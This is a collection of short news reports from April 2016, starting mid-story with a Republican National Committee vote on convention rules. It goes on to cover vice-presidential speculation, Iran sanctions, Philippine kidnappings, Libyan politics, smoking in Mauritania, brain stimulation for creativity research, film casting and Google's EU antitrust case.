Committeeman Morton Blackwell of Virginia, a noted authority on GOP procedure  and a Cruz supporter  questioned whether a shift from House to Robert's Rules could contribute to a free-for-all of what could well already be a brawl of a convention.

Chatting with @tedcruz about the Republican nomination process:pic.twitter.com/aWeq6Ij9v7 https://pbs.twimg.com/media/Cgh5_dNWsAAQv2y.jpg:large

"Robert's Rules provides that any delegate can stand up and make a point of order, and it also provides that that point of order must be dealt with by the chair before further business can be conducted," said Blackwell. "Do we want a convention where 2,500 people are all empowered to raise a point of order, one after another?"

The discussion drew legions of reporters from all over the country to track the proceedings  and RNC members were acutely aware of it.

"You can see the cameras at the back of the room. Everybody is watching; everybody can see what we do," said Jeff Kent, a Washington State committeeman who spoke against the idea of mulling the question over more privately.

Jeff Kent (WA):"There's 2472 delegates being elected from every corner of every state by the grassroots of our party. We should trust them."

"I would hate for us to take action right now to send this to what would be described as a smaller committee, meeting in a back room, without the cameras around, for the purpose of coming up with a rules change," Kent said.

"It's already a supercharged environment and too close to the convention to be taking up a rule change anyways  and we're only going to make that worse by punting the can down the road. We see Congress do this all the time; let's not do it ourselves."

In the end, the group voted against the switch in under an hour.

Vote to sub Robert's rules for House rules at RNC convention is DEFEATED.

Plenty more questions are sure to be raised when the party's leaders meet again a week before the Cleveland convention.

In the meantime, the campaigns continue to steam along with the regular work of building ground games for the upcoming primaries. The next round is slated for April 26, when five states  Connecticut, Delaware, Maryland, Pennsylvania and Rhode Island  cast their votes.

The Trump, Cruz and Kasich teams are also continuing to hold their closed-door meetings and receptions with GOP leaders here in the target-rich environment of the Hollywood meeting.

Rhode Island GOP Chairman Brandon Bell, left, and Committeewoman Lee Ann Sennick.

Brandon Bell, chairman of the Rhode Island Republican Party, and National Committeewoman Lee Ann Sennick called their meet and greet with Manafort and Wiley Thursday morning a "cordial" affair.

"They didn't make any overtures to ask any of us to be delegates for us at all," Sennick said in an interview after the chat  a possibly surprising move considering the likelihood of an open convention at which even delegates bound to support the candidate who wins their state might be freed of that obligation after a first round of voting.

"They're confident they will get to the 1,237."

Bell was one of the GOP leaders who noticed the absence of Trump himself, who while running as a non-politician outsider has spent plenty of time attacking the party for what he derides as its "rigged" delegate system.

"I'm a bit disappointed that he's not here, I'll be perfectly honest," Bell said, "and I told Mr. Manafort and Mr. Wiley that. Sen. Cruz and Gov. Kasich were here ... This is the largest gathering of delegates ... How a candidate doesn't come here is a little bit baffling."

As for Yue, he said in a post-meeting interview that he was happy his ideas had been heard, even if his proposal didn't carry the day.

"I want transparency and [to] empower the grassroots ... I am very satisfied, because me  a minority voice  has been heard today," Yue said.

"It's not about [losing] or winning anything at this point  and I'm fine with that," he added.

Trump, Cruz and Kasich  and the GOP itself  will, of course, not be fine with anything but a ticket to the White House.

The general election is Nov. 8.
By James Oliphant and John Whitesides WASHINGTON (Reuters) - Rarely have two U.S. presidential front-runners needed more from running mates than Hillary Clinton and Donald Trump. The Democratic and Republican leaders in the 2016 White House race are unusually unpopular nationally, polls show, despite their success with voters in their respective parties. Clinton has struggled to generate excitement about her candidacy and assuage voter concerns about her trustworthiness, while Trump fares badly among women and minorities in polls. Their weaknesses only increase the importance of their vice presidential pick, who could potentially help them rally support in key demographics ahead of the Nov. 8 vote - if each gets their party's nomination. Hispanic advocacy groups are lobbying Clinton to choose a Hispanic running mate. The person most often mentioned - Julian Castro, the housing and urban development secretary who is one of the party's rising stars - is opposed by liberal activists who accuse him of favoring Wall Street firms in the sale of distressed mortgages. Some of the groups have started an online petition against Castro's candidacy, which has angered the Latino Victory Fund, a nonpartisan advocacy group that has been pushing for a Latino vice-presidential nominee. These attacks against Secretary Castro are completely unfounded, short sighted, and only serve to pit us against each other, said Cristobal Alex, the funds president. The U.S. Hispanic Chamber of Commerce has called on Clinton to choose Castro. Democratic strategist Joe Velasquez, a Clinton supporter, said a Hispanic running mate could make a difference in swing states like Florida, Colorado, Nevada and Virginia, which have large Hispanic populations. Polls show Hispanic voters overwhelmingly dislike Trump, in part because of his comments likening illegal immigrants to criminals. U.S. Labor Secretary Tom Perez has also been mentioned as a possible Latino pick. But Clintons decision isnt clear-cut. Given Trumps unpopularity with some moderate Republicans, she may want a vice-president who can wrest away some of those voters. Someone like Tim Kaine, a senator from Virginia who personally opposes abortion but supports a woman's right to choose, or New Jersey Senator Cory Booker, who has close ties to the financial sector. There was no immediate comment from Castro, Kaine, Perez or Booker. Clinton though could give a higher priority to winning over liberal democrats, who see her as too pro-Wall Street and have flocked to her rival, Senator Bernie Sanders of Vermont. Sherrod Brown, a senator from Ohio who is a fierce opponent of global trade deals, and Senator Elizabeth Warren of Massachusetts, a fierce critic of the banking industry, have both been named as possible vice president picks. Brown and Warren did not respond to requests for comment. The Clinton campaign confirmed a report in the Boston Globe that Clinton would include at least one woman in any short list of vice presidential candidates to be vetted. Democratic strategist Chris Kofinis is skeptical that Clinton needs to spend much time appeasing the liberal wing of her party if she wins the nomination. As much as people have made out this race between Clinton and Sanders to be an ideological death match, Donald Trump will do more to bring the Democratic Party together than anyone has ever done, he said. Trump is viewed unfavorably by 80 percent of Democrats, according to a recent Reuters/Ipsos tracking poll. But other Democrats fear the increasingly bitter Clinton-Sanders battle, has fractured the party. Jim Manley, a former top aide to Senate Minority Leader Harry Reid, said Clinton's pick "has to be viewed through a prism of, among other things, their ability to bring on Sanders voters. Reuters/Ipsos polling suggests Clinton would struggle to attract some Sanders voters. When asked what they would do if Clinton was the nominee, 15 percent of Sanders supporters said they would stay home on Election Day and 16 percent said they would vote for the Republican nominee. Forty-nine percent said they would vote for Clinton. SLIM PICKINGS? Both the Clinton and Trump campaigns refused to comment on the vice-presidential speculation, saying they remain focused on winning their respective nominating contests. Clinton holds a commanding lead among the party delegates who will pick the party's nominee, but Sanders has pledged to keep fighting. Trump may not have the Republican nomination locked down until the summer, if he can beat off challenges by Texas Senator Ted Cruz and Ohio Governor John Kasich, who is running a distant third in the Republican race. Typically, vice-presidential selections are vetted for weeks after a candidate has emerged as the partys nominee and are announced shortly before the party conventions in the summer. Trumps polarizing candidacy could make his job of finding a running mate more difficult. For much of the campaign season, many in the Republican establishment, along with well-funded political committees, have been looking for ways to keep Trump from winning the Republican nomination. Trump has stated his preference for an established office-holder rather than a political neophyte like himself, specifically listing Wisconsin Governor Scott Walker, Florida Senator Marco Rubio, and Kasich. Walker, who has endorsed Cruz, laughed when he was asked about the prospect, but has been noncommittal. Rubio has repeatedly rejected the idea. Kasich last week said there was zero chance of his playing second fiddle to Trump, despite mounting speculation that he would be an ideal candidate because of his deep government experience and Ohios crucial role as a general election swing state. A source close to Kasich told Reuters the governor has no interest in working with Trump as the two don't agree on much. Cruz, too, said this week he would not be Trumps running mate, while telling reporters in Hollywood, Florida on Wednesday that "a Trump-Kasich ticket loses to Hillary Clinton." Tony Fratto, a Republican strategist, said Trump may be forced to turn to guys at the end of their careers, not people who believe they have a future. Someone in their last act who has nothing to lose by accepting an offer from Trump. That might include New Jersey Governor Chris Christie, who has been one or the few establishment politicians to campaign for Trump, or Florida Governor Rick Scott, who has endorsed Trump. Both are in their final terms in office. Christie was asked about the prospect in an interview with a New Jersey radio station on Thursday. "The way I think about these things, you never say 'never,'" he said. Other names linked to Trump include former New York Mayor Rudolph Giuliani, Alabama Senator Jeff Sessions, a Trump adviser, and Ben Carson, the retired neurosurgeon and former presidential candidate. There was no immediate comment from Sessions, Scott and Giuliani. Armstrong Williams, a close adviser to Carson, said the former White House hopeful doesnt want the slot. "At this point he has no interest in being in politics ... none, Williams said. I think Trump is looking for someone with government experience, someone who is more political." (Reporting by James Oliphant, John Whitesides, Amanda Becker, Emily Flitter, Ginger Gibson, Steve Holland, Luciana Lopez, and Alana Wise. Editing by Ross Colvin)
New York (AFP) - The United States insisted Friday that foreign banks should feel free to do business with Iran after Tehran's compliance with a nuclear deal with world powers.

Secretary of State John Kerry downplayed fears that Asian or European banks could fall afoul of Washington's continuing sanctions against Iran's non-nuclear activities.

And, as Kerry met with Foreign Minister Mohammad Javad Zarif for the second time in a week, Washington itself agreed to buy 32 tonnes of Iranian heavy water.

These parallel moves in support of non-US trade with Iran will enrage President Barack Obama's domestic critics, who argue he has already ceded too much ground to Tehran.

"I want to emphasize we've lifted our nuclear-related sanctions as we committed to do," Kerry told reporters, sitting alongside Zarif in a New York hotel.

"And there are now opportunities for foreign banks to do business with Iran," he said.

Kerry said that this included those banks that are holding an estimated $55 billion in frozen Iranian assets, who have been nervous about returning the funds even after the deal.

"Unfortunately, there seems to be some confusion among foreign banks and we want to clarify that as much as we can," Kerry admitted.

And, he promised, if banks have questions about the remaining sanctions targeting Iran's missile program and sponsorship of militant groups, "they should just ask."

Zarif welcomed the statement.

"Iran has implemented its part of the bargain," he said.

"And we hope that with this statement ... that we see serious implementation of all the JCPOA benefits that Iran should derive from this agreement," he added, referring to the deal.

Separately US officials said they would spend $8.6 million to buy Iranian heavy water, even as the nuclear deal came under sustained attack from critics in both countries.

Hardliners in Tehran argue that President Hassan Rouhani has been tricked into surrendering control of Iran's nuclear program without getting much in return.

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And in Washington, Obama's critics claim he plans to allow an unreformed Iran access to US finance despite the separate sanctions remaining in place.

- Heavy water deal -

The State Department defended the heavy water deal.

"This transaction provides US industry with a critical product, while also enabling Iran to sell some of its excess heavy water," spokesman John Kirby said.

He said the purchase had come after Iran met its obligations under the nuclear accord implementation process.

And he added: "This material had already been removed from Iran, ensuring it would not be used to support the development of a nuclear weapon."

The heavy water purchase immediately came under attack in Washington as another concession to Tehran and a crack in the wall barring Iran from the US financial system.

"Once again, the Obama administration is handing Iran's radical regime more cash," declared Ed Royce, chairman of the House foreign affairs committee.

"US purchase of this sensitive material goes well beyond what is required by the nuclear agreement."

House Speaker Paul Ryan did not mince his words.

"This purchase -- part of what appears to be the administration's full-court press to sweeten the deal -- will directly subsidize Iran's nuclear program," he said.

"It's yet another unprecedented concession to the world's leading state-sponsor of terrorism."

But a US official, speaking on condition of anonymity, insisted to AFP the transaction did not break any rules.

"Regardless of whether or not this is in US dollars, this licensed transaction is limited in scope," he said.

"This routing through third-country financial institutions is similar to the mechanism that has been used for years to allow other authorized transactions," he said.

- Frozen billions -

Kerry admitted this week that Iran has thus far been able to access only around $3 billion of the $55 billion the State Department estimates that it is owed.

US sanctions still exist to punish Iran for its missile program and sponsorship of Middle East "terrorist groups," and Washington officials' hands are partly tied.

Washington had hoped European and Asian banks would free up the frozen funds and allow Rouhani's government to show its people the benefits of international cooperation.

But European officials have told AFP their bankers fear they could face fines or even criminal cases against their US subsidiaries if they rush in.

The US has scrambled expert teams -- "akin to a roadshow," in spokesman Kirby's phrase -- to reassure international bankers that they can do business.

- Enraged Republicans -

But the spectacle of American officials effectively working to promote foreign business engagement with the Islamic republic has enraged Obama's Republican opponents.

Lawmakers have threatened to pass renewed bars on Iranian interaction with the US financial system, through which many dollar-denominated transactions pass.

But officials feel the credibility of the nuclear deal, which was implemented in January, depends on Iran's moderates being able to point to economic progress.

In theory, the European Union lifted its nuclear-related sanctions against Tehran at the same time as Washington.

But Iran's Revolutionary Guards, still under sanctions for their role in sponsoring attacks by Middle East militant groups, have extensive business interests.

And any private sector investment or financial services provided to Iran that was found to be linked to the group could expose European banks to US prosecution.
The United States has issued a fresh travel warning for most of the southern Philippines after a surge of kidnappings there, with some victims being snatched from vessels at sea.

A State Department advisory on Thursday asked its citizens to defer "non-essential" travel to the Sulu archipelago and the southern tip of the western island of Palawan, and to take "extreme caution" elsewhere in the southern region of Mindanao.

It cited "the high threat of kidnapping of international travellers, increased threat of maritime kidnappings against small boats, and violence linked to insurgency and terrorism".

Sulu is a stronghold of the Abu Sayyaf, a group of Islamic militants infamous for kidnappings, bombings, and beheadings in the south of the predominantly Catholic Asian nation.

The group abducted eight foreigners in the past three years, some from neighbouring Malaysia. It continues to hold four westerners after killing a Malaysian and freeing other hostages reportedly for large ransoms.

In the past month, 14 Indonesians and four Malaysians aboard commercial shipping have also been abducted in nearby waters.

Foreign ministers of Indonesia, Malaysia and the Philippines are to meet in Jakarta on May 3 to discuss an Indonesian proposal for joint patrols in the area of the recent kidnappings, Indonesian security minister Luhut Panjaitan said Thursday.

"We don't want to see this area become a new Somalia," he added.

Filipino officials told AFP Friday they could not immediately confirm the ministerial meeting.

Britain also warned Wednesday of the widening threat of kidnappings in coastal resorts and dive sites in Mindanao, while Canada advised citizens last week to avoid travel to most of the region.

"Kidnap groups in the Sulu archipelago have sought to expand their reach including by working with affiliates," the British advisory said.
(Adds details from the filing, background of the case)

By Michael Flaherty

NEW YORK, April 22 (Reuters) - ValueAct Capital, the $16 billion hedge fund, has hired renowned attorney David Boies, according to a court filing on Friday, in a sign of the activist investor's seriousness in contesting a U.S. government lawsuit.

Boies has represented such high-profile clients as former U.S. Vice President Al Gore, the late New York Yankees owner George Steinbrenner and hedge fund billionaire Steven Cohen.

Boies has also represented the U.S. Justice Department against Microsoft Corp, the software company where ValueAct is currently a prominent shareholder and represented on its board.

In the ValueAct case, the Justice Department has sued the San Francisco-based fund, alleging in a filing earlier this month that it failed to properly disclose certain holdings related to the pending merger of oilfield services companies Halliburton Co and Baker-Hughes Inc.

The case has put a spotlight on the growing trend of shareholder engagement, and the fine line that exists of when shareholders cross the threshold of passive investing into active, as outlined by U.S. antitrust law.

ValueAct's defense against the U.S. government could take years based on similar cases antitrust regulators have brought against investors.

(Reporting by Michael Flaherty; Editing by Bernard Orr)
Variety, in partnership with the SAG-AFTRA, the SAG-AFTRA Foundation and The Washington Post, will honor journalists next week at a party on the eve of the annual White House Correspondents Association Dinner.

A Celebration of Journalism will welcome journalists, lobbyists, politicians and celebrities at The Post headquarters in Washington, D.C. on Friday, April 29. Guests expected to attend include the casts of best picture Oscar winner Spotlight, Peabody Award-winning drama series Scandal and the ABC sitcom Black-ish.

We are proud to partner with SAG-AFTRA, the SAG-AFTRA Foundation and The Washington Post to celebrate these talented journalists who are the backbone of our democracy, said Variety co-editor-in-chief Claudia Eller.

The White House Correspondents Association represents hundreds of journalists who cover the White House, including print, television, radio and online reporters and photographers. The WHCAs mission is to ensure a strong free press.

The pursuit of journalism is a tremendously challenging and meaningful effort that ensures a free flow of accurate information and access to critical stories. Journalists bring us the stories we need to make judgments and decisions about our government and they routinely put themselves in harms way to report the news. SAG-AFTRA is profoundly grateful for their efforts and honored to recognize them and the importance of their work, said SAG-AFTRA president Gabrielle Carteris.

A Celebration of Journalism will take place the night before the White House Correspondents Dinner at the Washington Posts new One Franklin Square headquarters and will mark the first time the location has hosted an evening event.

The Foundation is excited to be adding professional and educational programming geared toward the broadcast journalism community to our current slate of no-cost programs for SAG-AFTRA members, said JoBeth Williams, president of the SAG-AFTRA Foundation. We are thrilled to honor the broadcast journalists who are critical pillars of our society by educating us about the world around us, and the current events that deeply affect our lives.

Story continues

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American actor Vince Vaughn will star in S. Craig Zahler's action movie "Brawl in Call Block 99" it has been revealed by The Hollywood Reporter.

The "Wedding Crashers" and "Couples Retreat" actor Vince Vaughn has been cast as the lead role in the movie by writer/director S. Craig Zahler. Vaughn will play a former boxer who encounters personal and professional setbacks. He starts working as a drug courrier, and finds himself caught up in a gunfight with the police.

Zahler's previous movie, "Bone Tomahawk" received critical acclaim, and was nominated for two Independent Spirit Awards.

Production for "Brawl in Call Block 99" is set to begin towards the end of summer 2016.
Earlier this month, our video team posted a long harrowing animation that explores Australias controversial immigration policy of transferring asylum seekers arriving by boat to remote detention centers on Pacific islands. The video features voices of detainees who were present for the February 2014 riots on Papua New Guineas Manus Island, during which Iranian refugee Reza Barati was killed. Reza tried so hard to achieve his dream, says a fellow detainee:

The incident sparked a parliamentary inquiry in Australia, whichback in Decemberfound that the Australian government failed in its duty to protect asylum seekers including Mr. Barati from harm, The New York Times reported. However, in February, an Australian court upheld the governments right to detain refugees abroad. Krishnadev detailed that development:

Australias high court has rejected a challenge to the countrys practice of holding asylum-seekers at a camp on Nauru, the Pacific island nation, a decision that paves the way for the return of more than 250 peopleincluding dozens of babieswho are now in Australia. At issue is a case brought by the Human Rights Law Center (HRLC) on behalf of a Bangladeshi woman who entered Australia by sea. She was detained by Australian officials and taken to Nauru, which along with Manus Island, part of Papua New Guinea, is where Australia processes its asylum-seekers. The woman was returned to Australia for medical treatment during the late stages of her pregnancy, but appealed her return to Nauru. Lawyers for the woman challenged Australias right to detain people on foreign soil. On Wednesday, the court said the governments actions were both legal and constitutional.

Early this month, in a tribute to the detainees housed on Manus, scientists named a newly discovered rat species Rattus detentusthe latter word meaning detained in Latin. On Tuesday, The Guardian reported that a court in Papua New Guinea sentenced two men to 10 years in jail, with five years suspended, on charges related to Baratis death. Taking into account time served, both men will be free in a little over three years.

Read more from The Atlantic:

This article was originally published on The Atlantic.
Steven Yeun, one of the stars of The Walking Dead, has joined the cast of Okja, the latest movie from Snowpiercer filmmaker Bong Joon-Ho.

Plan B is producing the project, which will be released by Netflix. It kicked off production on April 22, and will shoot in South Korea, Canada and the U.S., in English and Korean.

Tilda Swinton, Jake Gyllenhaal and Paul Dano are already set for the unique monster project. Along with Yuen, Devon Bostick (The 100), Lily Collins (To The Bone), Byun Heebong (The Host), Shirley Henderson (Anna Karenina), Daniel Henshall (The Babadook), Yoon Je Moon (Mother) and Choi Wooshik (Set Me Free) have joined the cast.

The story centers on a girl (Seohyun An) who befriends a genetically manufactured pig named Okja. When the pig grows up to gigantic proportions, the corporation that created him takes him, thrusting the girl, now a teen, into a mission to take it back.

Swinton is playing the head of the corporation (and her twin sister!) while Gyllenhaal is a zoologist. Dano is an animal activist looking to expose the corporation's dastardly dealings.

Yeun is one of the last remaining series regulars from the pilot of the AMC zombie drama, although his character's fate was left in question at the end of season six. Season seven premieres in October.

Since breaking out on Walking Dead, Yuen has largely stuck to making a few handful appearances on the small-screen and doing some voicework, although he did star in the 2014 indie sci-fi movie I Origins.

Yuen is repped by Paradigm.

Read more: 'Star Wars: Episode VIII' Gets New Release Date
Earlier this month, the U.S. military accidentally dropped a few Humvees hundreds of feet through the air, at which point they prompted crashed into the ground. If your first thought was, "That sounds both incredibly terrifying and endlessly watchable," you're in luck  it was all caught on video.

DON'T MISS: Purported Star Wars Episode VIII plot leaks, and I really hope its fake

According to the Army Times, the 173rd Airborne Brigade is currently investigating an airborne drop in which three Humvees were destroyed on impact after their parachutes failed to catch them during their descent.

The Army was conducting "a heavy drop and personnel airborne operation" on April 11th over the Hohenfels training area in Germany. 150 bundles, vehicles and other equipment was dropped from passing planes, but three Humvees slipped out before they were ready to deploy, resulting in the following video:

https://www.facebook.com/usawtfm/videos/10154208113753606/

"The specific malfunctions that occurred on this day are under investigation," Army spokesman Maj. Juan Martinez said in an email to Army Times. "There were multiple rehearsals and inspections of the equipment prior to mission execution. We cannot speculate on what went wrong until the investigation is complete."

Photos of the incident began to circulate on Twitter as well:

https://twitter.com/TheWTFNation/status/719858234048258048/photo/1

Martinez added that the Army does not know who shot the video that has been watched over 1.5 million times on Facebook, but says disciplinary action is being considered (while the rest of us hit replay over and over).

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Trump on North Carolinas transgender law, contd: The GOP presidential candidate had said people should use whatever bathroom they feel is appropriate. Less than 24 hours later, he said it was a states rights issue.

Virginias governor to restore voting rights to felons:

Breaking News: Virginia's governor will restore voting rights to more than 200,000 convicted felons https://t.co/FMhCdTFBST  The New York Times (@nytimes) April 22, 2016

Obama in Britain, contd: The American president had lunch with the British queen, who turned 90 yesterday. Later today he is expected to make a case for why Britain should remain in the EU.

News from the morning here

Read more from The Atlantic:

This article was originally published on The Atlantic.
Tripoli (AFP) - Western ambassadors on Friday condemned "unacceptable threats" that they said were blocking a vote of confidence by lawmakers in a UN-backed Libyan unity government.

Most of the members of the House of Representatives elected in Libya's last polls in June 2014 have been based in the far eastern town of Tobruk since an Islamist-led militia alliance overran the capital shortly afterwards.

The militia alliance restored the previous, Islamist-dominated parliament elected in July 2012 and established a rival administration to that in Tobruk.

A unity government forged through UN mediation to replace the rival governments has now stamped its authority on most of the levers of power in Tripoli but has yet to win the legitimacy of a vote of confidence from the Tobruk parliament.

The government it installed is refusing to step down until it does so.

Under the UN deal, the Tobruk parliament will be the legislature of the new government, while members of the Tripoli parliament will have mandatory consultative powers.

But lawmakers in Tobruk have repeatedly failed to hold a vote, even though on Thursday evening 102 out of 198 of them issued a statement backing the unity government of prime minister-designate Fayez al-Sarraj.

"We commend the courageous efforts of the clear majority of House of Representatives MPs, who in spite of unacceptable threats to prevent the HoR from living up to its historic responsibility to the Libyan people, expressed their endorsement of the Government of National Accord," the Western ambassadors said in a joint statement.

They voiced backing for plans by pro-unity government lawmakers to convene away from Tobruk.

"We welcome the decision to convene the HoR in a Libyan location that offers security and safety for its members," the joint statement said.

UN envoy Martin Kobler expressed his profound disappointment at the inability of the House of Representatives to hold a vote on the unity government.

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"I find it regrettable that yet again a clear majority of members of the HoR are denied the opportunity to exercise their intrinsic democratic right as elected representatives of the Libyan people to uphold the pivotal role of the House as a legislative and monitoring body at this critical juncture of the political process," he said.

Kobler urged the lawmakers "to continue upholding their responsibilities in exercising their duties without obstruction, threat or intimidation".

He said the failure to back the unity government was a "setback to ongoing efforts to bring an end to the institutional divide in Libya and to bring peace to the Libyan people".

The international community sees the unity government as the best hope for oil-rich Libya, which has been roiled by turmoil since the 2011 ouster and killing of veteran dictator Moamer Kadhafi.

Concern has been compounded by the expansion of the Islamic State group in Libya, where the jihadists have set up base just 300 kilometres (185 miles) across the Mediterranean from Italy.

People smugglers are also feeding on the chaos, with a surge of illegal migration to Europe from Libya.
News flash: Smoking is bad for you. Wait, you knew that? Nevertheless, cigarettes continue to have a certain worldwide appeal among rebellious teenagers in Sydney and white-haired Parisian bohemians alike. But you wont find the worlds heaviest smokers in a cafe full of existentialists.

Mauritania has the worlds highest rate of tobacco consumption  an average of 41 cigarettes a day.

Thats according to a study published in the Journal of the American Medical Association. And yes, thats enough smoke to make smog experts in Los Angeles and Beijing cringe. This Muslim West African country has long been part of the trade route between North and sub-Saharan Africa, where tobacco was a precious commodity and even used as currency for trade. But its residents smoking habit fits into a new trend. While Western nations are quitting the cigs, developing nations are picking up the habit. According to a Lancet study, the continents rate of smoking is still only 14 percent (pretty low compared with Americas 23 percent), but its growth is the highest in the world.

Why are developing nations lighting up? Prabhat Jha, professor of epidemiology at the University of Toronto, says the tobacco industry uses the lack of tobacco control  from advertising bans to warning labels  in places like Mauritania to push cigarettes as a symbol of Westernization or being modern.

Rising smoking rates is bad news for countries with already weak national health systems. Ahmed E. Ogwell Ouma, head of the World Health Organizations Tobacco Control program in Africa, calls Mauritanias growing number of smokers very worrisome. According to Ouma, the rates of lung cancer in Mauritania are rising fast. Women are particularly vulnerable; instead of smoking, they chew the tobacco, which has caused an increase of cancers of the mouth almost exclusively in females.

But the Mauritanian government is determined to curb this deadly habit. For starters, the president recently announced a significant raise on tobacco taxes  7.5 percent of the current price. The money collected through this tax (the second of its type on the continent, after Botswana) will be exclusively used to fund smoke-related public services, from secession programs to a newly created state-of-the-art cancer ward.

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Mauritania is also considering a tobacco control bill. The text includes a variety of methods for reducing the number of smokers, including setting a sell ban for minors (while its not customary for children to smoke, it is not illegal), a ban on smoking in public places and advertisement. The bill will be debated in Parliament and could soon become law. (Mauritanias Ministry of Health did not respond to request for comment.)

Still, some experts think focusing on dissuasion programs is not enough. Education does not work well, notes Jha. Tell children and young adults  to not smoke and they will do the opposite. In his opinion, developing countries need to stand up to the international tobacco lobbies and raise taxes even more. For now, though, smokers of the world have a new mecca: Nouakchott, the capital of Mauritania. It should be pretty easy to find  just follow the smoke.

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On Friday, April 22, it was announced that Yelp has integrated with Twitter in Japan and the UK to provide a geotagging service.

The feature enables Twitter users to use the location icon to tag tweets with local business information provided by Yelp. Senior Vice President Chad Richard explains that "Tweets will now have more context with location names, Yelp ratings and business details and an easy way to see other Tweets and photos tagged with the same location."

The service has already been rolled out in Germany, its first market. Users in the UK and Japan can now use the feature on iOS and Android, with web-based access coming soon. France will be the next country to receive the geotags on Twitter.
That spark of creativity you crave might begin with a tiny zap.

In recent experiments, researchers delivered gentle, targeted electrical impulses to 31 young adults who volunteered to have their brains zapped in the name of science. Results showed an in increase in creative thinking after the zaps, demonstrating for the first time that electrical stimulation can enhance creativity, the researchers said.

Far from science fiction, the technique has the potential to help anyone think more creatively, be it for art, science or business, the researchers said. The method is also promising for people who have speech and language difficulties: A targeted brain zap might enable those individuals to think of new ways to express their thoughts, the researchers said.

But before you try the DIY route by licking your finger and sticking it in a socket, the researchers warned that they are in the early stages of understanding how electrical stimulation may enhance thought. You can hurt yourself if the stimulation is done improperly, they said. These scientists use specialized equipment that can accurately control the strength and direction of the electrical stimulation. [10 Things You Didn't Know About the Brain]

The researchers, co-led by Adam Green, a psychology professor at Georgetown University in Washington, D.C., discussed this technique in a paper published online April 13 in the journal Cerebral Cortex.

Green said no single task encompasses all types of creative thinking, but one important form of creative intelligence is the ability to find new connections between concepts that seem far apart. His research group's earlier work determined a location in the brain that appeared to support this kind of creativity. The region is called the frontopolar cortex.

In the new study, the researchers used Transcranial Direct Current Stimulation (tDCS) to stimulate this region while volunteers received verbal cues to think more creatively. If brain activity in frontopolar cortex is indeed a driver of creativity, then boosting this brain activity with electric current would shift creativity into overdrive, the team predicted.

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"Just zapping the brain is easy. The tricky part is knowing where and under what conditions it is likely to work," Green told Live Science. He added that his team's objective was to "tickle it and see if it laughs," referring to the frontopolar cortex.

Green said the study participants were told to "put on their thinking caps," both figuratively and literally. They were asked to think creativity while wearing networks of electrodes across their skulls that produced electrical current for about 20 minutes.

Sometimes the electrodes stimulated the frontopolar cortex, but other times, they stimulated regions of the brain not thought to be related to creativity, as a control. When the participants were zapped in just the right spot, the frontopolar cortex, they experienced a burst of creativity and could make more creative connections between concepts in word-association and analogical-reasoning tasks.

Green said the experiment demonstrated that creativity is malleable, unlike IQ. Green said that researchers have for years experimented unsuccessfully with ways to improve a person's innate intelligence, or IQ. By contrast, creativity appears to be a nonstatic feature of the brain that really can burst to higher levels, Green said.

The tDCS promoted the firing of nerve impulses in the frontopolar cortex. This effect on the brain faded within about an hour after the tDCS was complete.

Dr. Peter Turkeltaub of Georgetown University Medical Center, the other lead investigator on the study, said the tDCS could one day be used to help people with aphasia, a communication disorder in which a person has difficulty speaking, reading and writing. The condition often results from a brain injury.

"Enhancing creative analogical reasoning might allow them to find alternate ways of expressing their ideas using different words, gestures or other approaches to convey a similar meaning," Turkeltaub said. [10 Things That Make Humans Special]

Green said the effects of tDCS differed from those of hallucinogens, which some have claimed can also enhance creativity. Although hallucinogens might induce imaginative imagery, there's no evidence the drugs can make someone more creative in the sense of helping them produce ideas that are not just novel but also meaningful and useful, Green said. Moreover, hallucinogens don't target the frontopolar cortex.

"The most effectively creative people have a big menu in the back of the brain and a discerning palate in the front of the brain," Green said. "You've got all these wild ideas, and you've also got the frontopolar cortex that's putting them together in a meaningful way."

Green said that Steve Jobs, the co-founder of Apple, Inc., was the type of person who could connect those wild ideas  ingredients, if you will  and produce something tasty in the kitchen of his frontopolar cortex. Neuroscientists are just starting to understand this process, and that that's really exciting, Green added.

Follow Christopher Wanjek @wanjek for daily tweets on health and science with a humorous edge. Wanjek is the author of "Food at Work" and "Bad Medicine." His column, Bad Medicine, appears regularly on Live Science.

Copyright 2016 LiveScience, a Purch company. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.
HARARE (Reuters) - Zimbabwe will present a financing programme to the International Monetary Fund by November this year after clearing its arrears, opening the door to receiving its first loan from the Fund in nearly two decades, the finance minister said on Friday. Patrick Chinamasa told reporters that he was optimistic an IMF executive board meeting on May 2. would accept Zimbabwe's plan to pay $110 million in arrears to the Fund. Another $1.7 billion would then be paid to the African Development Bank and World Bank. Zimbabwe has not received a loan from the IMF since 1999. President Robert Mugabe agreed last month to major reforms, including compensation for evicted white farmers and a big reduction in public sector wages. Those reforms are expected to be part of a new financing programme. "Between September and November Zimbabwe will work feverishly to come up with a new country financing programme, on the basis of which we hope, if we clear our arrears, we should get new financing," Chinamasa said. Reserve Bank of Zimbabwe governor John Mangudya said on March 16. he expects a loan from the IMF in the third quarter of this year, after paying off foreign lenders by the end of June. (Reporting by MacDonald Dzirutwe; Editing by James Macharia)
A European Commission anti-trust probe was opened in April 2015 into whether Google gives unfair prominence to its own Android apps with mobile manufacturers (AFP Photo/Justin Sullivan)

Paris (AFP) - Google sought to play down its anti-trust battle with the European Commission on Friday, with a senior executive insisting the row was "normal".

Brussels has charged Google with abusing the dominance of its Android mobile phone operating system in a move which could could change the face of the global smartphone sector.

But Carlo d'Asaro Biondo, Google's Europe head of strategic partnerships, said he was unfazed by the investigation.

"We'll see where that leads. It's normal, given the importance Android has in Europe ... that the Commission undertakes controls," Biondo told reporters.

EU Competition Commissioner Margrethe Vestager says the Silicon Valley giant has used practices such as making manufacturers pre-install its market-leading search engine as the default in phones to "abuse its dominant position".

Brussels believes such practices breach EU competition law.

The Android operating system accounts for about 80 percent of the world market for mobile phones, far ahead of Google's closest rival, Apple.

The EU has accused Google of obstructing innovation by giving unfair prominence to its own apps, especially its search engine, in deals with mobile manufacturers such as Samsung and Huawei.

Google must now respond inside three months to avoid sanctions which could amount to fines up to 10 percent of the group's annual global sales or $7.4 billion based on their 2015 results.

Biondo said Google would now seek to put its own case. "We are in that phase and will see what happens," he told reporters.

"What we are trying to do today is explain what we are doing and what our system is. We are not at the sanctions phase, we are in the analysis phase," he added, indicating that Android allows several phone makers easier access to the market without having to develop their own operating systems.

He said the platform enabled a current estimated 1.2 million developers to work on applications in Europe and that the software was free for operators which they could use or not as they wished.

"Google Play is a magnificent way of distributing non Google applications," Biondo said.
